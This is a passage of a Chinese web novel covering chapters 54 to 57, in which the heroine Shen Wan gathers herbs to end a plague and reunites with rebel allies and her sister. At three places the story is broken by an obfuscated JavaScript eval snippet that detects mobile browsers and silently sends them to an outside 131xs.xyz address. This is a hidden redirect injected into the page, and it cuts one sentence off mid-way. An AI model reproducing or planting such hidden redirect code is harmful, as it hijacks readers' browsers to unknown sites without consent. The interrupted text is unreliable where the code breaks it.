沈绾的安排得沉稳有度,合乎情理,古伊顿也十分赞成,几人商量后立即开始着手。 很快,整个商队进入一种高度警备的状态。 沈绾白日驯马,晚间过来照顾病患,众人看在眼里,心中无不触动。 自疫病出现以来,商队众人接连倒下,就在昨日,阿连鲁赶马回来,半夜竟突然发起了高热,很快就被送入了隔离帐。 这件宽三丈、长五丈的帐子是临时搭建的,专门用来安置感染病患,旁边就是药室,几名医师蹲在帐门口煎着药。 “姑娘,这些活让其他伙计做就成了。”古伊顿脸上蒙着厚厚的布巾,踱步到帐门口。 这些日子以来,各种事纷至沓来,他整个人看上去憔悴许多。 沈绾将手里药材挑拣好,抬起手臂擦了擦额角细汗,“古老板,我受您大恩,本就没什么能够答谢,现在咱们商队里出了事,我自然是要出一份力。” “你连日来也是辛苦,不要把自己身子累垮了。” 沈绾近来消瘦许多,古伊顿心里过意不去,他可是答应了要把人照顾好,要是出什么问题,他可难担待…… 转身望了眼身后帐子,心中担忧又重了几分:“现在倒下这么多人,也不知道什么时候是个头,再这样下去,还要搭多少进去……” 他声音虽不大,可沈绾听得真切。她心里明白,古伊顿此人虽看着憨厚,可在银钱上也有自己的计量,好比开辟马市生意,他和沈绾就以六四分账。 出于商人的精明,他甚至让沈绾签了字据,生怕她跑路。 好在沈绾也不计较这些,到底她身无分文,又蒙受恩情,在银钱方面梳理清楚,对双方来说也都是好事。 可现在天降横祸,治病要钱、维系商队要钱、还有接连跑单的生意……再这样长耗下去,整个商队必将元气大伤。 二人正说着,忽见一名伙计急色匆匆跑来,“来、来了……” “东家,老医师请来了!” 沈绾抬头,见来人身形清瘦,眉须皆白,可一双眼却炯炯有神。 好生眼熟! 脑中只顿了一瞬,灵光闪过,这不是——当初给自己治病的那位老军医?! 来人简单向古伊顿打了招呼,视线转而停在沈绾脸上,精锐目光只停留片刻,便立即移开。 “维察尔老兄,你可算来了!”古伊顿似乎与来人很是熟稔,上前握住对方的手,忙不迭道:“托人请了你好几回,若不是赶上你告老还乡,我还真不知该怎么办才好!” “最早发病的人现在是什么症状?”老军医没有过多寒暄,卸下肩上医箱,取了块面巾系在脸上,撩帘进帐。 “持续低热,烧了好几天,再这样下去,人就要烧了没了……”古伊顿跟在身后,嘴里不住解释。 伙计正打算跟进去,却被沈绾拦住,“哎,这位老医师是从哪请来的?看着不像是本族人。” “姑娘好眼神,”伙计凑上前解释,“维察尔医师是咱们东家的老朋友,是个拓摩人,医术极为高超,早年在拓摩王庭当御医,后来自请随军,做过一段时间军医。前些日子刚从京都告老回来,不过他老人家医者仁心,好结善缘,施诊不分族群,东家这才派人把他给请来。” 沈绾若有所思,想到当初阿青口中提到的老军医,一些散落的记忆悄然串联起来。 约莫过了一刻钟,帘帐再次被掀起,二人一前一后走出来。 “怎么样?”古伊顿紧跟其后,焦灼搓着手。 老军医接过用热水浸湿的帕子,擦了擦手,眉头凝重道:“这时疫来势汹汹,虽说因时节交替而致,可就目前症状来看,有些过于严重。这病说到底是因冷热交流,瘴气流窜所致,他们发病前可有什么异常?” “没什么异常啊。”伙计抓着脑袋,“只是……” “有话就说。”古伊顿急得五官直皱。 “是,”伙计咽了口唾沫,“只是有一天早上,有匹野马脱缰跑进了北边林子,有个兄弟费了好大劲才把马追回来,现在想想,就是从第二天开始才有人发病的。” “这就是了,”老军医捋须颔首,“林中瘴气缭绕,若是有人再故意做些手脚,症状就会加重,我先开些退热散毒的方子,把病情稳住。” “好。”古伊顿点头,使唤伙计跟着去准备药材。 老军医抬步要走,与沈绾擦身而过间,步子蓦然顿住。 似是敏捷的猎人嗅到一丝异样,深为探究的目光堪堪落下。 “这位……”眼底眸光一闪,他顿了顿,没有揭穿对方身份,“不知你身上用了什么香料,气味这般独特?” 沈绾心头一紧,她虽然束了胸,戴了面具,可老医师的那双眼睛就像能看穿一切,精亮又毒辣。 “我不爱熏香,怎么会使用香料?”沈绾淡声解释。 伙计闻言,好奇地蹙起鼻子嗅了嗅,恍然道:“好像还真有一股若有若无的味道,平常我都没注意,老先生真是神了!” 沈绾低头在自己身上闻了闻,骤然想起什么,“对了!” 她从怀中掏出一枚造型精致的香囊,“这是家姐给的东西,说是里面缝了几味草药,能驱邪避灾,我一直贴身带着。” 老军医视线一顿,紧紧锁住,“老夫可否看看?” “当然。” 拿起在鼻尖轻嗅,一股清郁舒缓的味道钻入鼻腔,新奇又沁人心脾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258838|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这枚香囊,老夫能否拿回去研究?” “这……”沈绾一时迟疑,这毕竟是三姐姐送她的贴身物品,怎好说借人就借人? “实不相瞒,”老军医见沈绾犹疑,开门见山道,“这香囊里的药香实在独特,听古老板说,整个驯马队倒了大半,唯独姑娘你安然无恙,想必你心中也存着疑惑。” “先生的意思是……跟这枚香囊有关?”沈绾到底聪慧,心中瞬间有了底。 “有没有关,我得研究完了才能下定论。” 沈绾用指腹摩挲片刻,抬手递上前,“那就……有劳先生了。” 老军医颔首,双手接过,抬步离开之际,转身飘飘落下一句:“北疆不比中原,姑娘气虚体寒,操劳过度,还是要多多保养才是。” 沈绾低眉听着,直到一行人远远离开,忽觉出哪里不对劲。 姑娘?姑娘! 原来——他早就认出她了! ** 天边残阳如血,像泼洒开的颜料,洋洋洒洒渲染万物,仿佛要将这抹绯丽蔓延到天地尽头。 沈绾坐在小坡上,任由晚风吹动着耳边发丝。 说实话,这些日子以来她心头总觉得堵,像有块大石头死死压着。她并非感觉不到累,只是一种强烈的责任和压抑麻痹了她的神经,让她像颗齿轮,只有夜以继日地转动,才能感知自己的存在。 回想一路走来,似乎每一个帮助过她的人都或多或少遭遇到不幸,杨总兵如此,周副将如此,春桃如此,阿青如此……就连谢翊,也是如此。 现在轮到这支商队,如果不是她一意要带他们驯养马匹,也许也不会有这场疫病…… 大胤灾星……也许她真的是灾星也说不定。 “想什么呢?”古伊顿晃着身子,遥遥走过来。 沈绾捋顺耳边乱发,敛去戚色,“没什么,不是要等医师的消息吗?我正好在这吹吹风。” “年轻人,有些事情即便不说,也都会写在脸上。”古伊顿抬起一张圆润敦实的脸,语重心长劝慰道:“这世上不是所有的事情都能事先预料,也不是每一个决定都是正确无误。只要做事,就总会遇到问题和挑战,遇到坎,咱们迈过去就是了,不要什么事都归咎到自己身上。 再说,我们不是正在寻找解决问题的办法嘛,结果没出来之前,不要太焦虑。” 沈绾单臂撑着小脸,半扭过头,“没想到古老板看人有一套,开解人也有一套。” “每天大把银子的流水,其实……您心里比我更难受吧?” 古伊顿面色只僵了半瞬,旋即嘴角咧开笑纹,轻嗔:“你这女娃娃,还能不能好好聊天?” 二人正说笑,晚风携来一阵异响。 “镗镗——”一道悠远浑厚的钟声自远处传来,越过山坡,穿过草原,隐隐回荡在风里。 “这是什么声音?”沈绾疑惑。 古伊顿敛起笑意,眺望向远方,“是从东南边传来的。” 心中细细数着,那金鸣钟连续响了十七下,古伊顿的眉头却越皱越紧。 “不好,东厥王,去世了。” “什么?!”沈绾噌地站起身,却见古伊顿的模样不像在开玩笑。 “东厥旧俗,凡族中大丧,王位空缺,鸣钟十七。”古伊顿解释,“看来东厥,是要变天了。” 沈绾还未来及细思,忽见伙计摇着手从山坡下跑来。 “东家,东家……有救了!老医师说,救命的方子,成了!” 55. 第五十五章 行路难 古伊顿和沈绾赶到时,老军医正在帐外煎药。 “治病的方子,有了?”古伊顿连呼带喘,圆润的脸上难掩喜色。 老医师拈了撮草药,神色熠熠,“我仔细研究了这枚香囊,发现里面的草药搭配得很是精妙,对清热散寒,健体驱毒有奇效。其中这味五竹草,是这副药方里最关键的部分,老夫已经试过了,只要再添上其他几味药材,正好可解这场疫病。” “真是太好了,太好了!天神庇佑!”古伊顿差点喜极而泣,双手覆于胸前,仰头不住祷告。 “只是……” “怎么?”古伊顿见对方眸光一沉,刚才还激动不已的心脏不由一滞,“老兄有话直说。” 老军医直言不讳:“我方才问过了,你商队里的五竹草存量不多,要治疗这里的所有人,这些存货还远远不够。” “这……”古伊顿语凝,他忧心了这些时日,却没有想到,最后竟会在药材上出问题。 “据老夫所知,这种草药大多生长在中原的西南地区,想必你也是从那里运回来的吧?” “不错,”古伊顿面色凝重,“实不相瞒,若不是突发意外,在今年入冬之前,我本打算带着商队再去中原跑一趟货,可眼下商队里损兵折将,我……” “我去吧!”一直在旁沉默的沈绾抬起眼,上前半步,“让我跑一趟西南,把草药带回来。” 一言出,众人讶异的目光纷纷投来。 沈绾知道众人心中存疑,正色道:“商队离不开古老板,眼下也没有其他合适人选,我只要伪装成药商,没有人会起疑。” “可是……此去千里,不知要费多少时日……”古伊顿不住搓手犹疑道。 的确,若是花费上一两个月,到时是什么光景也就难料了。 “七日,”老军医眸色定定,“老夫竭尽所能,也只能维持七日时间,所以此行务必早去早回。” “七日……这……”古伊顿的眉头快要拧出花,“西桓距西南千里之遥,而且又要寻药,七日之内如何来及?” “来得及,”沈绾神情坚毅,定定道,“若是汗血马,七日,足矣。” 古伊顿恍然,这才想起沈绾前不久刚驯出一批大宛良驹,心中定了定神,道:“也罢,既然姑娘执意如此,我就先代大家拜谢,此行我会派几名骑手护你周全,务必早去早回,注意安全!” ** 当晚,沈绾一行马不停蹄,直奔西南。 因有着胡商这层身份作掩饰,一路上倒也没遇上什么绊子,只是每过一座城池,通缉栏上的画像还是免不住让她心里发毛。 三日后,一行人来到渝州城下,奇怪的是,城门守卫原本懒懒散散倚在墙角,可一见外人进城,立马像打了鸡血,态度强硬到说什么也不让进。 可这世上极少有银子解决不了的难题,在沈绾软磨硬泡又挨个塞了不少银两后,几位见钱眼开的兵官终于大发慈悲放行。 可刚一进城,眼前触目惊心的景象让人不由一颤。 黑压压的铅云在天边你推我搡,擦出几声闷雷,破败灰沉的街道两边横七竖八倒满了衣衫褴褛的百姓,他们有的面黄色蜡黄,有的肿胀虚白,还有的裸着身子,一双双病怏怏的眼无神地瞅着天空。 四周静得可怕,只有苍蝇不厌其烦地在废臭污秽间盘旋。 一个老头不住在身上掏着什么,摸索半晌,竟从身上抓出一只活跳蚤,用两根脏污的手指捏着,就这么麻木地放入口中。 沈绾被这一幕惊到,强力压住心头恶心,可还没待调整好自己,这支陌生的队伍很快引起注意。 无数道呆滞的目光齐齐投注而来,像是往死寂湖水中无意投入一粒石块,瞬间激起千层涟漪。 饥饿、贪婪、疯狂……齐刷刷的视线仿佛一道道钉子,快要将几人捅穿。 沈绾这才明白,怪不得那些守门兵士反应这么大,原来整个城里皆是奄奄一息的灾民,生机全无,恍如一座死城。 这般惨绝人寰的景象,他们自然不敢放任何消息出去。 “姐姐……”一个小女孩拖着一只断脚,缓缓爬到沈绾脚下,“饿……” 她伸出瘦骨嶙峋的手,小心翼翼扯住沈绾裤脚,黑白分明的眼睛里满是卑微与乞求。 身后有位伙计于心不忍,正要掏包袱,忽被沈绾一把按住。 “不能给。”她低声示意。 这种时候不能心软,她们的食物本就有限,一旦抛出引子引起骚乱,这些难民恐怕能把她们连人带马给活吞了。 可即便是极微小的动作,也逃不过这些早已饿绿的眼睛。 “他们有食物!”有人爆出一声吆喝,原本如一滩烂泥的人堆陆续动起,或走或爬,围猎般朝她们聚拢。 “怎、怎么办?”伙计见状不妙,意识到自己似乎犯了错,连声音都在发抖。 “大家靠拢,立即上马,找机会冲出去!”沈绾压低声音,以最快速度指挥。 几人步步后退,可四周的灾民显然已将他们包围。 一滴冷汗从额角滑过,沈绾不禁想起,当初谢翊面对万千流民,不知可曾这样怕过。 他们是百姓,不能喊打喊杀,即便是真动起手来,他们人多势众,自己也肯定难以招架;可若是坐以待毙,就只有死路一条。 眼看围拢越来越近,近到有灾民的手快要触到肩头包袱。 只听“嗖——”地一声! 羽箭刺破长空,那只黑黢黢的手还未来及动作,便无力垂了下去。 沈绾定睛一看,原来一支利箭早已穿透了此人胸口。 顺着箭镞袭来的方向,视线一凝。 先前几名守门官兵正得意洋洋站在城楼,其中一个细眉鼠眼,指着沈绾一行道:“大人,就是这几个药商,他们身上可带了不少银钱,瞧那几匹马,卑职方才查问的时候已经偷偷验过,即便涂黑了颜料,可卑职敢用项上人头担保,确实是汗血马无疑。” 站在中间的首领一身武将装扮,从衣着配饰可以看出,是个拓摩人。 “好,既然闯进几只肥羊,哪有不宰杀的道理?” 说着手臂一挥,又是几只羽箭嗖嗖飞过,围在沈绾周围的一圈人瞬间倒成一片。 “这帮中原人,真是碍事!”领头军官歪嘴轻嗤,目露鄙夷,“来人,把这些商贩通通给我扣下!” 令出兵动,早有一队官兵手持长枪锐矛,从一侧踏过百姓尸首,汹汹而来。 人群中散出浓烈恶臭,很快伴着刺鼻的血腥味弥漫开。 沈绾牵着缰绳的手心一紧,暗暗握住包袱下的长刀,那么多兄弟的命系在她身上,根本没时间耽误!必要时只能殊死一搏! 那军官话音刚落,耳边蓦然传来一阵轰响。 “砰——” 尖鸣的火炮声好似从天际袭来,强烈的震颤穿透墙体,直击城门。 “不好了!”小兵匆匆来报,“大人,起、起义军,打进来了!” “什么!” “砰——”又是一声。 远处天际硝烟滚滚,霎那间,战士的嘶吼声、兵戈声交织激荡,震耳欲聋。 城门轰然炸开,提剑持刀的战士个个身手敏捷,加之城门不远外立着几门火炮,这些守城官兵立即溃不成军。 沈绾一行被突如其来的变故惊到,匆匆躲在街角。战火很快漫至城内,街道旁的难民从未见过这般激烈的交战,稍有些力气者拔腿就跑。 好在这些民兵战士训练有素,并未虐杀百姓,而城里这些尸位素餐的兵混子自然没什么战斗力,一场混战很快结束。 战火浓烟渐散,旌旗猎猎处,一群高骑战马的队伍气势汹汹驶进城门。 马背上的战士脖戴红巾,装束整齐,虽不是统一的盔甲,但也能看出一种与官兵截然不同的精气神。 写着“红巾军”三个大字的旗帜在风中飘扬,沈绾眯了眯眼,发现走在前列的队伍中有一人分外眼熟。 “将这些官兵全部收押,城中灾民甚多,将随军粮食发放,赈灾安民。”队伍领头人扬手止步,朗声发话。 沈绾眸光一暗,视线顺着声音望去,倏然一凝。 眼前人阔面长身,宽肩阔背,体格健硕,只是数月不见,他似乎更瘦更黑了些,刚毅的脸庞添了几许风霜,少了几分不羁野性,更多了几分上位者的威严和沉稳。 队伍浩浩荡荡穿过街道,路过一处街角,走在正中的首领蓦然勒住缰绳。 深邃的目光穿过重重烟雾,准确无误锁在沈绾身上。 原来她方才在掀开捂住口鼻的纱巾时,顺带揭开了脸上半张面具。 视线交汇的瞬间,沈绾只觉那双原本质朴的眼睛,此刻翻涌着许多复杂难言的情绪。 惊诧、欣喜、好奇、担忧、思念……各种情绪纷纷交织在眼底。 “小、小殿……”首领身侧也有人顺着视线望过来,见到沈绾那刻,惊喜奔涌而出,话到嘴边还是被敏锐的警惕性生生截断。 马蹄阵阵,意气风发的队伍如奔腾的长流驶向城内。 不多时,有两名小兵小跑过来,拦住众人,其中一位朝沈绾拱了拱手,恭敬道:“姑娘,我家首领有请。” ** 起义军占领了总兵府衙,两排将士赫然守列在门口。 沈绾由小兵一路领着,穿过金碧辉煌的照壁,来到前院大厅。 刚跨进门槛,先前那人再也按捺不住喜色,就连上前几步都带着风,“小殿下!” 这世间最令人激动之事莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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很快,那些山匪头子意识到,与其势单力薄夹在中间,甚至受拓摩官兵威胁,不如联手合作,或能拼出条生路。 就这样,一支名为“红巾军”的队伍揭竿而起,很快在西南一带成燎原之势扩散开。 “说到这,最关键的还是小殿下送来的那枚锦囊。”周岭咂舌,“里面的图纸真是绝无仅有的宝贝,不仅精确画出了这些火炮的模型,还详细写下了弹药制作的原料和比例,我们依照法子制作出来,发现真真是神器!这些火器所向披靡、威风八面,对我们来说真是如虎添翼!” 沈绾轻笑:“这张模型图纸是家师所赐,后来我仔细研究了一番,在弹药的调配上加以改进,但却没有实操过,今日若不是亲眼所见,我还真没想到它的威力会这么大!” “原来小殿下对火药也有研究?” “皮毛而已。” 沈绾疑惑:“你们怎么会来渝州城?” 周岭叹了口气,解释道:“渝州城四周靠山,土地贫瘠,这饥荒自今年开春就开始了。两月前城外突发水患,百姓无家可归,不少人纷纷往城里涌。可这些拓摩官兵根本不把百姓当人看,不仅不闻不问,还肆意驱赶屠杀,甚至还昧下本就不多的赈灾银。 你看到的那些灾民,有许多是家住城内的,他们的情况原本没有那么糟糕,可新任的渝州总兵,说是朝中哪位侯爷的亲侄儿,仗着这层关系对城中商户极尽搜刮。 后来大量流民进城,他们挡也挡不住。开始只是镇压,见镇压不了就杀人,那些商户也起了反抗之心,认为与其将财物粮食被官兵抢去,不如散出去赈济灾民,就这样,外来流民越来越多,城里官兵根本压不住。可城中资源有限,整个灾情越扩越大,事态发展越来越凶,就成了今天这幅样子。” 说着,啐骂道:“说我们是匪,可他们这些当官的比我们这些所谓的山匪更可怕!大山兄弟认为此刻正是我们攻城的绝佳时机,他们朝廷守不了的城,那就由我们来守。” 沈绾颔首:“我听说你们准备用军粮赈灾,城中灾民这么多,城外肯定也不少,你们的粮食够吗?” 李大山终于沉声开口:“我们已经预料到情况,一路从黔州到渝州都安排了运输队,共计六座城池十八家乡镇都可供粮,赈济城里城外,应当足够。” “看来红巾军的势力不容小觑,”沈绾见李大山沉稳有度、思虑周全,欢喜道,“士别三日,李大哥这个首领真是令人刮目相看。” 黝黑的脸庞浮起一丝难以察觉的愉悦。 “你为何会来渝州?”他问。 她一身商人打扮,身边跟着的几名随从看着也像异族人,出现在渝州城肯定另有原因。 “我是前来寻药的。” 沈绾直奔主题,将西桓发生的事简单讲了一遍,自己只剩下四天时间,务必尽快赶回。 “五竹草?这东西虽然少见,可这附近一带的山上应当是能找到。”周岭摩挲着下巴。 “那就派一支队伍帮忙去找,”李大山负手而立,当机立断,“务必在一天之内把草药找齐。” “报——” 三人正商量着,一名小兵火急火燎跑进来,“报首领,不好了!军中有几个兄弟连着口吐白沫,全都晕倒了!” 56. 第五十六章 千里月 天色渐黑,一簇簇火把在夜幕里撕出裂口,给这座死寂城池带来些许光亮。 “大夫,怎么样?”周岭几人蹲在一名昏迷不醒的战士旁,神色切切。 老大夫号了半晌脉,摇头道:“这是水灾后引发的疫病,脏污秽物感染肌理,导致疫疠之气,此类疫症稍有不慎就会蔓延全城,老朽医术有限,最多只能防止疠气扩散,根治之法……只能看天意了!” 此言一出,众人皆倒抽口凉气。 “什么叫看天意?”周岭皱眉,声音不由高了几度,“我们是叫你来治病的,不是来算命的!” “老朽无能!” “周兄,”李大山抬手止住,肃然道,“既然大夫医术有限,咱们就另请高明,眼下防止疫症蔓延要紧。” 周岭心中担忧,这随行的老大夫已经是方圆五十里最好的医师,他若没有法子,那…… 可现实如此,也只好作罢。 “李大哥,我有个法子。”沈绾眸色一定,“此行我本就是为解商队疫病前来寻药,虽说两地引发病症的原因不同,可医理相同,我认识一位医术精湛的大夫,我此行回去后,定把他带来解渝州之困!” 李大山目光一顿,旋即道:“好,我已派人去采草药,一旦备齐,就派人送你们上路。” 对于沈绾,他从来只有坚定与信任。 没有怀疑,更不会质疑。 很快,足足五大筐的五竹草采备齐全,被装运上车,而这些,李大山只用了一个晚上的时间。 天刚蒙蒙亮,沈绾一行于城门口整理行囊,准备上路。 “李大哥,周大哥,告辞!” 正欲纵身上马,忽听士兵中有人高喊:“我认得她,她是那个投敌叛国的大胤帝姬,是叛国贼!我们不能把草药给她!” 一言出,人群中霎时爆出窃窃私语。 “大胆!”李大山少见地拧起眉头,怒喝:“蓄意造谣,当以军纪论处!” “她是亡国妖女,我们没有胡说!” “没错,她就是那个亡国帝姬,我们没有认错!” 人群骚动,有些不知情的兵士也因此义愤填膺起来。 “李大哥,我……”沈绾轻蹙眉尖,她没想到当初民间那些流言影响竟如此之大,曾经的大胤帝姬,现在不过是人人唾弃的亡国奴、叛国贼! “不必解释什么,”李大山深深望向她,诚挚又认真,“不管你是沈绾还是帝姬,你都是我义妹,我会永远护着你的。” 紧绷的心头霎时松了根弦,沈绾羽睫轻颤,原来他早就知道。 是啊,周岭一口一个小殿下,他没理由不知道她的身份。 “各位弟兄,大家听我一言!”周岭双臂大张,面向一众将士朗声道:“大家跟着我和李首领出生入死这么久,都是过命交情,我们把诸位弟兄当亲人,今日也请诸位信我一句,小殿下她真的没有叛国,也没有投靠拓摩,这些谣言不过是那些拓奴离间的手段,是恶意中伤,是抹黑,是污蔑!” “这,这怎么可能……民间大家都这么说。” “外界那些人都这么说,难道就一定是真相吗?”李大山威声道,“大靖朝廷不是还口口声声讨伐我们,说我们是匪兵、是叛军、是危害天下苍生的恶人,难道我们就真的是吗? 朝廷那位拓奴皇帝,口口声声自称天定圣君,要创伟业、开盛世,可结果呢?还不是刚愎自用、生灵涂炭?我们不相信自己眼睛看到的,反而去信旁人那些莫须有的空话,这般偏听偏信、毫无判断能力,又如何打得了胜仗?” 方才还躁动不安的人群渐渐安静下来。 “我今日以首领身份告诉你们,沈绾不仅没有投敌叛国,还是成就我们今日大业的贵人,更是我的恩人!” “什么?这怎么可能……” “不错,那些大家以为是天降神器的火炮,正是来自小殿下。”周岭振振道,“民间许多不知情者,都道当初雁鸣关失守是小殿下向敌军提供了布防图,实际并非如此。恰恰相反,是小殿下不远千里从敌营逃到蓟州,将拓奴的进攻路线告知杨总兵,才帮助胤军抵挡住拓奴进攻,后来是由于敌众我寡,才最终失守。 后来我不幸被俘,也是小殿下拼死把我从拓奴手中救了出来,才会有今天。你们说,她是你们口中指责唾骂的那种人吗?!” 周岭面色涨红,粗喘着气,众人听完这番解释,瞬间像被浇灭的炉子,灭了不少火气。 这些真相,沈绾以前从没在意过,可直到今天,她才发现澄清的重要性。她必须彻底抹干净这盆脏水,让那位大胤帝姬干干净净回来。 “诸位!”沈绾定下神,扬手高声道:“我知道大家对我的故事多有疑问,也对我的身份有很多误解,但有一点请大家相信,我永远不会背叛大胤,更不会背叛大胤子民。 今日我恳求诸位让我把这些草药带回去,只为救人!我保证,三日内,我定会把医治疫病的大夫给大家带回来,如若食言,犹如此发!” 话音刚落,只见身旁护卫腰间利刃被拔出,寒光闪过,手起剑落,一缕墨黑青丝如凌空飘落的柳絮,从众人眼前遥遥落下。 而执剑女子面如寒月,眼睫未动一下。 …… ** 西桓商队营内。 古伊顿眉头紧拧,双手不住搓着在帐里来回踱步。 “还没回来?” 这是他今日第一百六十四次问话,负责守门的伙计垂着头,不敢应答。 “出去再探!” “是!” 今日是最后一天,若是沈绾再不回来,队里那些病患,怕是再无生路! 夜幕笼罩苍穹,一轮明月悄然爬上中天,给无垠旷野洒下清泠华光。 这晚静得出奇,除了人们焦灼的呼吸声,只余草上露水凝结化霜的声音。 瞭望台上,几名放哨的伙计搓着手,望眼欲穿盯着草原尽头。 他们在这里已守了整整七天,等着千里之外那个不知是否会出现的奇迹。 连日守夜使他高度紧张的神经陷入麻木,下意识打了个哈欠,眼前浮起水花闪出一片迷蒙。 再一定睛,一个急速奔驰的黑点从夜色中靠近。他揉了揉眼,发现哪里是什么黑点,而是一人一骑。 马蹄飞驰,那马上之人身形单薄,鬓发飞扬,如一抹月色飘飘落在风里,而在她身后,接连跟着七八骑。 那伙计先是出了半刻神,随即一道灵光闪过脑中,翻涌难抑的惊喜从干涩的嗓子眼挤出:“回来了!回来了!” “东家,人……人回来了!” 伙计的叫喊声此起彼伏,整个商队营顿时高燃火把。古伊顿匆忙撩开帘帐,迎面寒凉的晚风吹乱他额角凌乱的发丝。 寂寂夜幕中,哒哒马蹄由远及近,好似黎明前敲响胜利的战鼓,每一声都振奋人心。 沈绾如约而至,带回数量足以救命的药草,维察尔医师没敢耽误,立即着手煎药。 古伊顿那张向来憨厚圆胖的脸在见到沈绾那刻,变得极为复杂,半边欣喜半边悲情,灼热的泪珠从眼角滚落而下。 “姑娘,一路辛苦了。” 他哑着声,走南闯北这么些年,他还是头一回遇见这般让人心生敬佩的女子。 想当初受人之托,他念着不过是照顾一个女娃,并非难事,可远没有想到,沈绾会成为一切事情的转机,带来如此多的震撼,可见世间缘分真是妙不可言。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289120|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大家一样辛苦。”沈绾将手头事安置好,擦了擦额头薄汗,“怎么样先生,情况如何?” 老医师眼底浮起笑意,“药方已成,已经给他们服下,想来已无大碍。” 众人闻言,这才彻底松了口气。 “先生,有件事,还想请您帮忙。”沈绾咬了咬唇,将渝州城灾疫之事说了一遍。 “我知道先生您医者仁心,既然治病救人不分族群,那可否随我走一趟中原?那里都是些无辜百姓,一旦灾情扩散,不知会死多少人!” “可是……”古伊顿犹疑道,“姑娘不是说那里刚打完仗,又有中原人的军队驻守,维察尔老兄是个拓摩人,两族关系不容水火,万一他们不领情,此去岂不是凶多吉少?” “这个请放心,我与他们的首领是旧识,此行若不是他们帮忙,我也不可能这么快找到五竹草。我与先生同去,此去只为救人,无关其他。” 古伊顿见沈绾言辞切切,不再继续多言,只是把目光落向维察尔,等他做最后的决定。 老医师默了片刻,叹道:“也罢,中原有句古话:‘上天有好生之德’,若是此去真能救人于水火,双方能暂且放下两族仇恨,也是件好事!” 沈绾水眸一亮,激动得声音发颤:“多谢先生!” ** 从西桓到渝州,即便沈绾已经走过一遍,可一路的山路险滩还是让人吃尽苦头。 沈绾答应在三日内赶回,一路不敢停歇。可老医师到底年纪大了,经不住日夜颠簸,沈绾不得不在晚间把行程放缓。 内心的焦虑一日胜过一日,她若是逾期未履行诺言,怕是会从此失诚信。 “我这把老骨头还没那么脆弱,”老医师看出她心中急切,宽慰道,“年轻人,既是重承诺的好孩子,那咱们快马加鞭,我这副身子骨还受得住。” “先生……”沈绾心中感激,知道对方一心为自己着想,可也实在无法再慢下来。 千里疾驰,终于在第三日子时刚过,抵达了渝州城。 刚进城内,当初那股肃杀的死亡气息不知为何消散了许多,街道污秽已被清理干净,每条巷子已不见残垣,且越往里走,药香味愈浓,那股淡淡的、令人安心的药香悄然弥漫了整条街道。 有小兵认出沈绾,欢喜上前招呼:“姑娘果真是一诺千金,您派来的那位女医师可真是菩萨下凡,救了我们大命啊!” “女医师?”沈绾摸不着头脑。 小兵没过多解释,帮沈绾牵着马就往府衙走,“我们首领一直等着姑娘呢,说一旦您回来,就立刻带您去见他。” 沈绾心中疑惑,也想去瞧瞧到底是怎么回事。 一行人刚到府衙,早有人进去通报,李大山疾步匆匆出来迎接,见到沈绾第一眼,心头不由一酸。 不过短短几天,她又瘦了一大圈。 “李大哥,我听说疫情止住了?”沈绾不等寒暄,直奔主题。当前疫情如火,她知道耽误不得。 “是啊,那位女医师不是你派来的吗?年纪轻轻,当真是医术高超。” “我?”沈绾目露惊愕,刚想问这位女医师到底是谁,一道熟悉且柔婉的女音自门房内传来。 “阿鸾!” “三姐姐……”待沈绾看清眼前人后,清浅的瞳仁猛地一缩,骤然失声。 怎么会?沈葭怎么会出现在这里? 突如而来的惊喜打得她措手不及,强抑住疯狂跳动的心脏,正欲纵身下马,可下一瞬,眼前蓦然闪过一阵黑雾。 一眨眼,那片黑雾越来愈大,顷刻夺去她的意识。 失控的身体再无支撑,径直从马背跌落。 “姑娘——” “阿鸾——” 57. 第五十七章 鹊踏枝 丝丝暖香钻入鼻尖,驱散混沌疲倦。 沈绾悠悠睁开眼,一双温暖的手覆在额头,为她轻轻擦拭。 “三姐姐……”她虚虚抬手。 “阿鸾,你醒了!”沈葭察觉到动静,反握住对方。 “我这是怎么了?” “你这是劳累过度,晕倒了。”沈葭心疼感叹,“一连奔波这么长时日,都没有好好休息,铁打的身子也受不住啊。” 沈绾缓缓支起身,“三姐姐,你怎么会在这里?” 沈葭的出现无疑是极大的惊喜。 当日在教坊司听说沈葭可能身死,虽觉其中有蹊跷,可到底提了半吊子心,现在见到她安然无恙,心里总是宽慰。 沈葭:“当日耶齐格下令斩杀医师,代鄯知我在劫难逃,便暗地卖通了狱卒,令我假死逃出,后又运来死尸掩人耳目。虽一时遮瞒过去,但耶齐雷忌惮代鄯已久,联合朝中权贵多番弹劾,致使他幽禁府中,所以当时教坊司出事,我们也没能来及相救。 代鄯担心连累我,便派人偷偷将我转运到乡下庄子里。就在十日前,有一伙人找到我,说渝州城恐生灾疫,让我若有心解除民困就去渝州,还说如果运气好,兴许能遇见你。” 沈绾蹙眉:“那伙人,是什么人?” 沈葭摇头:“我也不知道,他们神秘得很,不过应该不是坏人,代鄯派在我身边的人似乎跟那伙人很熟,我也曾私下打听过,可他们就是不肯透露身份。 